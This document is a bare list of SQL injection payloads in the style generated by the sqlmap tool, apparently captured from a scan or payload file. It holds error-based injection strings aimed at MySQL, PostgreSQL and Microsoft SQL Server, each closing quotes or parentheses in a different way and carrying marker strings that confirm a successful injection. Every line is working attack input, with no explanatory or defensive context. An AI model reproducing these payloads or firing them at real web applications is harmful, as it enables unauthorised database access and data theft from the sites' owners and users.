1%' AND (SELECT 4982 FROM(SELECT COUNT(*),CONCAT(0x717a716b71,(SELECT (ELT(4982=4982,1))),0x7176716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='
1) AND 6607=CAST((CHR(113)||CHR(122)||CHR(113)||CHR(107)||CHR(113))||(SELECT (CASE WHEN (6607=6607) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(113)||CHR(106)||CHR(113)) AS NUMERIC) AND (5468=5468
1 AND 6607=CAST((CHR(113)||CHR(122)||CHR(113)||CHR(107)||CHR(113))||(SELECT (CASE WHEN (6607=6607) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(113)||CHR(106)||CHR(113)) AS NUMERIC)
1 AND 6607=CAST((CHR(113)||CHR(122)||CHR(113)||CHR(107)||CHR(113))||(SELECT (CASE WHEN (6607=6607) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(113)||CHR(106)||CHR(113)) AS NUMERIC)-- NNWR
1') AND 6607=CAST((CHR(113)||CHR(122)||CHR(113)||CHR(107)||CHR(113))||(SELECT (CASE WHEN (6607=6607) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(113)||CHR(106)||CHR(113)) AS NUMERIC) AND ('DnRs'='DnRs
1' AND 6607=CAST((CHR(113)||CHR(122)||CHR(113)||CHR(107)||CHR(113))||(SELECT (CASE WHEN (6607=6607) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(113)||CHR(106)||CHR(113)) AS NUMERIC) AND 'ATYs'='ATYs
1%' AND 6607=CAST((CHR(113)||CHR(122)||CHR(113)||CHR(107)||CHR(113))||(SELECT (CASE WHEN (6607=6607) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(113)||CHR(106)||CHR(113)) AS NUMERIC) AND '%'='
1) AND 7549=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(113)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (7549=7549) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(113)+CHAR(106)+CHAR(113))) AND (6021=6021
1 AND 7549=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(113)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (7549=7549) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(113)+CHAR(106)+CHAR(113)))
1 AND 7549=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(113)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (7549=7549) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(113)+CHAR(106)+CHAR(113)))-- fyuf